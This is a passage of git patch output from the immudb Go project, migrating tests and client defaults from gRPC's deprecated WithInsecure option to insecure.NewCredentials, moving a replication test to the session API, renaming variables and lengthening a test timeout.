[]byte("key-n11"), []byte("val-n11")) + hdr, err := client.VerifiedSet(ctx, []byte("key-n11"), []byte("val-n11")) require.NoError(t, err) - item, err := client.GetSince(ctx, []byte("key-n11"), txmd.Id) + item, err := client.GetSince(ctx, []byte("key-n11"), hdr.Id) require.NoError(t, err) require.Equal(t, []byte("key-n11"), item.Key) - item, err = client.GetAt(ctx, []byte("key-n11"), txmd.Id) + item, err = client.GetAt(ctx, []byte("key-n11"), hdr.Id) require.NoError(t, err) require.Equal(t, []byte("key-n11"), item.Key) } @@ -893,12 +893,12 @@ func TestImmuClient_History(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, _ = client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`)) - txmd, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val2`)) + hdr, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val2`)) require.NoError(t, err) sil, err := client.History(ctx, &schema.HistoryRequest{ Key: []byte(`key1`), - SinceTx: txmd.Id, + SinceTx: hdr.Id, }) require.NoError(t, err) diff --git a/pkg/integration/stream/stream_replication_test.go b/pkg/integration/stream/stream_replication_test.go index 2fe2758039..9dfd250edc 100644 --- a/pkg/integration/stream/stream_replication_test.go +++ b/pkg/integration/stream/stream_replication_test.go @@ -28,6 +28,7 @@ import ( "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata" ) @@ -41,51 +42,49 @@ func TestImmuClient_ExportAndReplicateTx(t *testing.T) { cliOpts := ic. DefaultOptions(). WithDir(t.TempDir()). - WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}) + WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}) - client, err := ic.NewImmuClient(cliOpts) - require.NoError(t, err) + client := ic.NewClient().WithOptions(cliOpts) - lr, err := client.Login(context.Background(), []byte(`immudb`), []byte(`immudb`)) + err := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) - md := metadata.Pairs("authorization", lr.Token) - ctx := metadata.NewOutgoingContext(context.Background(), md) + defer client.CloseSession(context.Background()) - err = client.CreateDatabase(ctx, &schema.DatabaseSettings{ - DatabaseName: "replicateddb", - Replica: true, - PrimaryDatabase: "defaultdb", - }) - require.NoError(t, err) + _, err = client.ExportTx(context.Background(), nil) + require.Equal(t, ic.ErrIllegalArguments, err) - replicatedMD, err := client.UseDatabase(ctx, &schema.Database{DatabaseName: "replicateddb"}) + hdr, err := client.Set(context.Background(), []byte("key1"), []byte("value1")) require.NoError(t, err) - defaultMD, err := client.UseDatabase(ctx, &schema.Database{DatabaseName: "defaultdb"}) + _, err = client.CreateDatabaseV2(context.Background(), "replicateddb", &schema.DatabaseNullableSettings{ + ReplicationSettings: &schema.ReplicationNullableSettings{ + Replica: &schema.NullableBool{Value: true}, + }, + }) require.NoError(t, err) - md = metadata.Pairs("authorization", defaultMD.Token) - ctx = metadata.NewOutgoingContext(context.Background(), md) - - _, err = client.ExportTx(ctx, nil) - require.Equal(t, ic.ErrIllegalArguments, err) + rclient := ic.NewClient().WithOptions(cliOpts) - txmd, err := client.Set(ctx, []byte("key1"), []byte("value1")) + err = rclient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "replicateddb") require.NoError(t, err) + defer rclient.CloseSession(context.Background()) + rmd := metadata.Pairs( - "authorization", replicatedMD.Token, - "skip-integrity-check", strconv.FormatBool(false), + "skip-integrity-check", strconv.FormatBool(true), "wait-for-indexing", strconv.FormatBool(false), ) rctx := metadata.NewOutgoingContext(context.Background(), rmd) for i := uint64(1); i <= 2; i++ { - exportTxStream, err := client.ExportTx(ctx, &schema.ExportTxRequest{Tx: i}) + exportTxStream, err := client.ExportTx(context.Background(), &schema.ExportTxRequest{ + Tx: i, + SkipIntegrityCheck: true, + }) require.NoError(t, err) - replicateTxStream, err := client.ReplicateTx(rctx) + replicateTxStream, err := rclient.ReplicateTx(rctx) require.NoError(t, err) for { @@ -99,25 +98,25 @@ func TestImmuClient_ExportAndReplicateTx(t *testing.T) { require.NoError(t, err) } - rtxmd, err := replicateTxStream.CloseAndRecv() + hdr, err := replicateTxStream.CloseAndRecv() require.NoError(t, err) - require.Equal(t, i, rtxmd.Id) + require.Equal(t, i, hdr.Id) } - replicatedEntry, err := client.GetAt(rctx, []byte("key1"), txmd.Id) + replicatedEntry, err := rclient.GetAt(rctx, []byte("key1"), hdr.Id) require.NoError(t, err) require.Equal(t, []byte("value1"), replicatedEntry.Value) - require.Equal(t, txmd.Id, replicatedEntry.Tx) - - err = client.Logout(rctx) - require.NoError(t, err) + require.Equal(t, hdr.Id, replicatedEntry.Tx) - err = client.Disconnect() + err = client.CloseSession(context.Background()) require.NoError(t, err) - _, err = client.ExportTx(ctx, &schema.ExportTxRequest{Tx: 1}) + _, err = client.ExportTx(context.Background(), &schema.ExportTxRequest{Tx: 1}) require.Equal(t, ic.ErrNotConnected, err) - _, err = client.ReplicateTx(rctx) + err = rclient.CloseSession(context.Background()) + require.NoError(t, err) + + _, err = rclient.ReplicateTx(rctx) require.Equal(t, ic.ErrNotConnected, err) } diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 98f398fbf9..13c80f9b10 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -1156,7 +1156,7 @@ func testServerScanError(ctx context.Context, s *ImmuServer, t *testing.T) { } func testServerTxScan(ctx context.Context, s *ImmuServer, t *testing.T) { - txmd, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}}) + hdr, err := s.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kvs[0]}}) require.NoError(t, err) _, err = s.ZAdd(ctx, &schema.ZAddRequest{ @@ -1177,7 +1177,7 @@ func testServerTxScan(ctx context.Context, s *ImmuServer, t *testing.T) { require.NoError(t, err) txls, err := s.TxScan(ctx, &schema.TxScanRequest{ - InitialTx: txmd.Id, + InitialTx: hdr.Id, }) require.NoError(t, err) require.Len(t, txls.Txs, 3) From d0bcdf5be6b61345f49d1a9f2704318ad8027787 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 31 Jan 2023 12:18:12 -0300 Subject: [PATCH 0204/1062] chore(pkg/server): upgrade to new insecure credentials api Signed-off-by: Jeronimo Irazabal test(pkg/integration): increase replication timeout Signed-off-by: Jeronimo Irazabal --- cmd/immuadmin/command/database_test.go | 4 ++-- cmd/immuadmin/command/login_test.go | 11 ++++++----- cmd/immuadmin/command/serverconfig_test.go | 4 ++-- cmd/immuadmin/command/stats_test.go | 7 ++++--- cmd/immuadmin/command/user_test.go | 12 ++++++------ cmd/immuclient/audit/auditagent_test.go | 4 ++-- cmd/immuclient/audit/auditor_test.go | 2 +- cmd/immuclient/audit/executable_test.go | 2 +- cmd/immuclient/immuc/init_test.go | 3 ++- cmd/immuclient/immuc/login_test.go | 5 +++-- cmd/immuclient/immuclienttest/helper.go | 3 ++- pkg/client/auditor/auditor_test.go | 13 +++++++------ pkg/client/options.go | 3 ++- pkg/integration/auditor_test.go | 15 ++++++++------- pkg/integration/client_test.go | 5 +++-- pkg/integration/fuzzing/grpc_fuzz_test.go | 3 ++- .../replication/synchronous_replication_test.go | 2 +- pkg/integration/session_test.go | 5 +++-- pkg/server/servertest/server.go | 4 ++-- pkg/stdlib/connection_test.go | 5 +++-- pkg/stdlib/driver_test.go | 3 ++- pkg/stdlib/sql_test.go | 7 ++++--- pkg/stdlib/uri.go | 3 ++- 23 files changed, 70 insertions(+), 55 deletions(-) diff --git a/cmd/immuadmin/command/database_test.go b/cmd/immuadmin/command/database_test.go index 4123123bf3..0f2ef79d2e 100644 --- a/cmd/immuadmin/command/database_test.go +++ b/cmd/immuadmin/command/database_test.go @@ -16,7 +16,7 @@ func TestDatabaseList(t *testing.T) { } ctx := context.Background() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) cliopt.PasswordReader = pr @@ -68,7 +68,7 @@ func TestDatabaseCreate(t *testing.T) { } ctx := context.Background() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) cliopt.PasswordReader = pr diff --git a/cmd/immuadmin/command/login_test.go b/cmd/immuadmin/command/login_test.go index eedc86456e..830dfbb0bf 100644 --- a/cmd/immuadmin/command/login_test.go +++ b/cmd/immuadmin/command/login_test.go @@ -40,6 +40,7 @@ import ( "github.com/spf13/cobra" "github.com/stretchr/testify/assert" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" ) var pwReaderCounter = 0 @@ -68,7 +69,7 @@ func TestCommandLine_Connect(t *testing.T) { opts := Options(). WithDir(t.TempDir()). WithDialOptions([]grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }) cmdl := commandline{ context: context.Background(), @@ -89,7 +90,7 @@ func TestCommandLine_Disconnect(t *testing.T) { opts := Options(). WithDir(t.TempDir()). WithDialOptions([]grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }) tkf := cmdtest.RandString() cmdl := commandline{ @@ -143,7 +144,7 @@ func TestCommandLine_LoginLogout(t *testing.T) { cliopt := Options(). WithDir(t.TempDir()). WithDialOptions([]grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }) tkf := cmdtest.RandString() @@ -211,7 +212,7 @@ func TestCommandLine_CheckLoggedIn(t *testing.T) { cl.context = context.Background() cl.passwordReader = pwReaderMock dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cmd.SetArgs([]string{"login", "immudb"}) @@ -230,7 +231,7 @@ func TestCommandLine_CheckLoggedIn(t *testing.T) { tkf := cmdtest.RandString() cl1.ts = tokenservice.NewFileTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(tkf) dialOptions1 := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cl1.options = Options().WithDir(tempDir) diff --git a/cmd/immuadmin/command/serverconfig_test.go b/cmd/immuadmin/command/serverconfig_test.go index c7ff71ca8a..69df3085ba 100644 --- a/cmd/immuadmin/command/serverconfig_test.go +++ b/cmd/immuadmin/command/serverconfig_test.go @@ -41,7 +41,7 @@ func TestCommandLine_ServerconfigAuth(t *testing.T) { defer os.Remove(".state-") dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options() cliopt.DialOptions = dialOptions @@ -94,7 +94,7 @@ func TestCommandLine_ServerconfigMtls(t *testing.T) { defer os.Remove(".state-") dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options() cliopt.DialOptions = dialOptions diff --git a/cmd/immuadmin/command/stats_test.go b/cmd/immuadmin/command/stats_test.go index 66dd801841..089bee4e65 100644 --- a/cmd/immuadmin/command/stats_test.go +++ b/cmd/immuadmin/command/stats_test.go @@ -27,6 +27,7 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" "github.com/codenotary/immudb/cmd/cmdtest" "github.com/codenotary/immudb/cmd/immuadmin/command/stats/statstest" @@ -46,7 +47,7 @@ func TestStats_Status(t *testing.T) { defer bs.Stop() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDir(t.TempDir()) cliopt.DialOptions = dialOptions @@ -96,7 +97,7 @@ func TestStats_StatsText(t *testing.T) { defer server.Close() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDir(t.TempDir()) cliopt.DialOptions = dialOptions @@ -146,7 +147,7 @@ func TestStats_StatsRaw(t *testing.T) { defer server.Close() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDir(t.TempDir()) cliopt.DialOptions = dialOptions diff --git a/cmd/immuadmin/command/user_test.go b/cmd/immuadmin/command/user_test.go index a0c4119771..80656c827e 100644 --- a/cmd/immuadmin/command/user_test.go +++ b/cmd/immuadmin/command/user_test.go @@ -49,7 +49,7 @@ defer bs.Stop() } ctx := context.Background() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) @@ -142,7 +142,7 @@ defer bs.Stop() ctx := context.Background() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) @@ -258,7 +258,7 @@ defer bs.Stop() } ctx := context.Background() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) @@ -424,7 +424,7 @@ defer bs.Stop() } ctx := context.Background() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) @@ -481,7 +481,7 @@ defer bs.Stop() ctx := context.Background() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) @@ -552,7 +552,7 @@ defer bs.Stop() ctx := context.Background() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) diff --git a/cmd/immuclient/audit/auditagent_test.go b/cmd/immuclient/audit/auditagent_test.go index 83225f2127..acdf9e1d21 100644 --- a/cmd/immuclient/audit/auditagent_test.go +++ b/cmd/immuclient/audit/auditagent_test.go @@ -66,7 +66,7 @@ defer bs.Stop() ad.logger = logger.NewSimpleLogger("immuclientd", logfile) dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } ad.opts = options().WithMetrics(false).WithDialOptions(dialOptions).WithMTLs(false).WithPidPath(pidPath) _, err = ad.InitAgent() @@ -120,7 +120,7 @@ defer bs.Stop() ad.logger = logger.NewSimpleLogger("immuclientd", logfile) dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } ad.opts = options().WithMetrics(false).WithDialOptions(dialOptions).WithMTLs(false).WithPidPath(pidPath) _, err = ad.InitAgent() diff --git a/cmd/immuclient/audit/auditor_test.go b/cmd/immuclient/audit/auditor_test.go index 1bbf1a6881..844a0b4f09 100644 --- a/cmd/immuclient/audit/auditor_test.go +++ b/cmd/immuclient/audit/auditor_test.go @@ -46,7 +46,7 @@ defer bs.Stop() viper.Set("pidfile", pidPath) dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } ad := new(auditAgent) ad.logger = logger.NewSimpleLogger("TestInitAgent", os.Stderr) diff --git a/cmd/immuclient/audit/executable_test.go b/cmd/immuclient/audit/executable_test.go index 6cbc5d885e..1ac0c5922f 100644 --- a/cmd/immuclient/audit/executable_test.go +++ b/cmd/immuclient/audit/executable_test.go @@ -37,7 +37,7 @@ func TestExecutableRun(t *testing.T) { defer bs.Stop() dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } pidpath := "my_pid" ad := new(auditAgent) diff --git a/cmd/immuclient/immuc/init_test.go b/cmd/immuclient/immuc/init_test.go index de5a4543fa..14aaf9ee59 100644 --- a/cmd/immuclient/immuc/init_test.go +++ b/cmd/immuclient/immuc/init_test.go @@ -26,6 +26,7 @@ import ( "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" ) func TestConnect(t *testing.T) { @@ -38,7 +39,7 @@ func TestConnect(t *testing.T) { opts := OptionsFromEnv() opts.GetImmudbClientOptions(). WithDialOptions([]grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }).WithDir(t.TempDir()) imc, err := Init(opts) require.NoError(t, err) diff --git a/cmd/immuclient/immuc/login_test.go b/cmd/immuclient/immuc/login_test.go index 7e4c5d5120..51cce280e1 100644 --- a/cmd/immuclient/immuc/login_test.go +++ b/cmd/immuclient/immuc/login_test.go @@ -26,6 +26,7 @@ import ( "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" ) func TestLogin(t *testing.T) { @@ -38,7 +39,7 @@ func TestLogin(t *testing.T) { opts := OptionsFromEnv() opts.GetImmudbClientOptions(). WithDialOptions([]grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }). WithPasswordReader(&test.PasswordReader{ Pass: []string{"immudb"}, @@ -66,7 +67,7 @@ func TestLogout(t *testing.T) { opts := OptionsFromEnv() opts.GetImmudbClientOptions(). WithDialOptions([]grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }). WithPasswordReader(&test.PasswordReader{ Pass: []string{"immudb"}, diff --git a/cmd/immuclient/immuclienttest/helper.go b/cmd/immuclient/immuclienttest/helper.go index 76633c2e79..3033329a54 100644 --- a/cmd/immuclient/immuclienttest/helper.go +++ b/cmd/immuclient/immuclienttest/helper.go @@ -30,6 +30,7 @@ import ( "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server/servertest" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" ) type ClientTest struct { @@ -113,7 +114,7 @@ func (c *ClientTest) Connect(dialer servertest.BuffDialer) { c.Options.WithRevisionSeparator("@") c.Options.GetImmudbClientOptions(). WithDialOptions([]grpc.DialOption{ - grpc.WithContextDialer(dialer), grpc.WithInsecure(), + grpc.WithContextDialer(dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }). WithPasswordReader(c.Pr) c.Dialer = dialer diff --git a/pkg/client/auditor/auditor_test.go b/pkg/client/auditor/auditor_test.go index a2b4a1766e..b2bc789c00 100644 --- a/pkg/client/auditor/auditor_test.go +++ b/pkg/client/auditor/auditor_test.go @@ -38,6 +38,7 @@ import ( "github.com/golang/protobuf/ptypes/empty" "github.com/stretchr/testify/require" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" ) var dirname = "./test" @@ -110,7 +111,7 @@ func TestDefaultAuditorLoginErr(t *testing.T) { time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ - grpc.WithInsecure(), + grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", @@ -148,7 +149,7 @@ func TestDefaultAuditorDatabaseListErr(t *testing.T) { time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ - grpc.WithInsecure(), + grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", @@ -188,7 +189,7 @@ func TestDefaultAuditorDatabaseListEmpty(t *testing.T) { time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ - grpc.WithInsecure(), + grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", @@ -231,7 +232,7 @@ func TestDefaultAuditorUseDatabaseErr(t *testing.T) { time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ - grpc.WithInsecure(), + grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", @@ -277,7 +278,7 @@ func TestDefaultAuditorCurrentRootErr(t *testing.T) { time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ - grpc.WithInsecure(), + grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", @@ -351,7 +352,7 @@ func testDefaultAuditorRunOnDbWithInvalidSignature(t *testing.T, pk *ecdsa.Publi time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ - grpc.WithInsecure(), + grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", diff --git a/pkg/client/options.go b/pkg/client/options.go index 8e80dc015b..ccc517f4d6 100644 --- a/pkg/client/options.go +++ b/pkg/client/options.go @@ -25,6 +25,7 @@ import ( c "github.com/codenotary/immudb/cmd/helper" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" ) // AdminTokenFileSuffix is the suffix used for the token file name @@ -74,7 +75,7 @@ func DefaultOptions() *Options { Auth: true, MaxRecvMsgSize: 4 * 1024 * 1024, //4Mb Config: "configs/immuclient.toml", - DialOptions: []grpc.DialOption{grpc.WithInsecure()}, + DialOptions: []grpc.DialOption{grpc.WithTransportCredentials(insecure.NewCredentials())}, PasswordReader: c.DefaultPasswordReader, Metrics: true, PidPath: "", diff --git a/pkg/integration/auditor_test.go b/pkg/integration/auditor_test.go index af065f3f29..82fdaa8e60 100644 --- a/pkg/integration/auditor_test.go +++ b/pkg/integration/auditor_test.go @@ -45,6 +45,7 @@ import ( "github.com/codenotary/immudb/pkg/signer" "github.com/stretchr/testify/require" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata" ) @@ -105,7 +106,7 @@ func TestDefaultAuditorRunOnEmptyDb(t *testing.T) { defer bs.Stop() ds := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } clientConn, err := grpc.Dial("add", ds...) @@ -163,7 +164,7 @@ func TestDefaultAuditorRunOnDb(t *testing.T) { } dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } tkf := cmdtest.RandString() ts := tokenservice. @@ -193,7 +194,7 @@ func TestDefaultAuditorRunOnDb(t *testing.T) { require.NoError(t, err) ds := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } var clientConn *grpc.ClientConn @@ -243,7 +244,7 @@ func TestRepeatedAuditorRunOnDb(t *testing.T) { } dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } tkf := cmdtest.RandString() ts := tokenservice. @@ -271,7 +272,7 @@ func TestRepeatedAuditorRunOnDb(t *testing.T) { require.NoError(t, err) ds := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } var clientConn *grpc.ClientConn @@ -350,7 +351,7 @@ func testDefaultAuditorRunOnDbWithSignature(t *testing.T, pk *ecdsa.PublicKey) { } dialOptions := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } tkf := cmdtest.RandString() ts := tokenservice. @@ -378,7 +379,7 @@ func testDefaultAuditorRunOnDbWithSignature(t *testing.T, pk *ecdsa.PublicKey) { require.NoError(t, err) ds := []grpc.DialOption{ - grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure(), + grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } var clientConn *grpc.ClientConn diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index 16297ad04f..ed3da335d9 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -43,6 +43,7 @@ import ( "github.com/stretchr/testify/require" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata" "google.golang.org/protobuf/types/known/emptypb" ) @@ -95,7 +96,7 @@ func setupTestServerAndClientWithToken(t *testing.T) (*servertest.BufconnServer, client, err := ic.NewImmuClient(ic. DefaultOptions(). WithDir(t.TempDir()). - WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}). + WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithServerSigningPubKey("./../../test/signer/ec1.pub"), ) require.NoError(t, err) @@ -1128,7 +1129,7 @@ func TestImmuClient_Logout(t *testing.T) { for i, expect := range expectations { client, err := ic.NewImmuClient(ic. DefaultOptions(). - WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}). + WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithDir(t.TempDir()), ) if err != nil { diff --git a/pkg/integration/fuzzing/grpc_fuzz_test.go b/pkg/integration/fuzzing/grpc_fuzz_test.go index bc5e0faa97..742f1ce5ae 100644 --- a/pkg/integration/fuzzing/grpc_fuzz_test.go +++ b/pkg/integration/fuzzing/grpc_fuzz_test.go @@ -30,6 +30,7 @@ import ( "github.com/golang/protobuf/proto" "github.com/stretchr/testify/require" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" ) const ( @@ -53,7 +54,7 @@ func FuzzGRPCProtocol(f *testing.F) { clientOpts := immudb. DefaultOptions(). WithDir(f.TempDir()). - WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}) + WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}) client := immudb.NewClient().WithOptions(clientOpts) err := client.OpenSession(context.TODO(), []byte(`immudb`), []byte(`immudb`), "defaultdb") diff --git a/pkg/integration/replication/synchronous_replication_test.go b/pkg/integration/replication/synchronous_replication_test.go index e660bd4490..eb6a2f0785 100644 --- a/pkg/integration/replication/synchronous_replication_test.go +++ b/pkg/integration/replication/synchronous_replication_test.go @@ -242,7 +242,7 @@ func (suite *SyncTestMinimumReplicasSuite) TestMinimumReplicas() { suite.Run("should commit again once first replica is back online", func() { suite.StartReplica(0) - ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) + ctxTimeout, cancel := context.WithTimeout(ctx, 3*time.Second) defer cancel() _, err := client.Set(ctxTimeout, []byte("key4"), []byte("value4")) diff --git a/pkg/integration/session_test.go b/pkg/integration/session_test.go index 5f0882da09..0b9b9780c5 100644 --- a/pkg/integration/session_test.go +++ b/pkg/integration/session_test.go @@ -32,6 +32,7 @@ import ( "github.com/codenotary/immudb/pkg/server/sessions" "github.com/stretchr/testify/require" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" ) func TestSession_OpenCloseSession(t *testing.T) { @@ -85,7 +86,7 @@ func TestSession_OpenCloseSessionMulti(t *testing.T) { client := ic.NewClient().WithOptions(ic. DefaultOptions(). 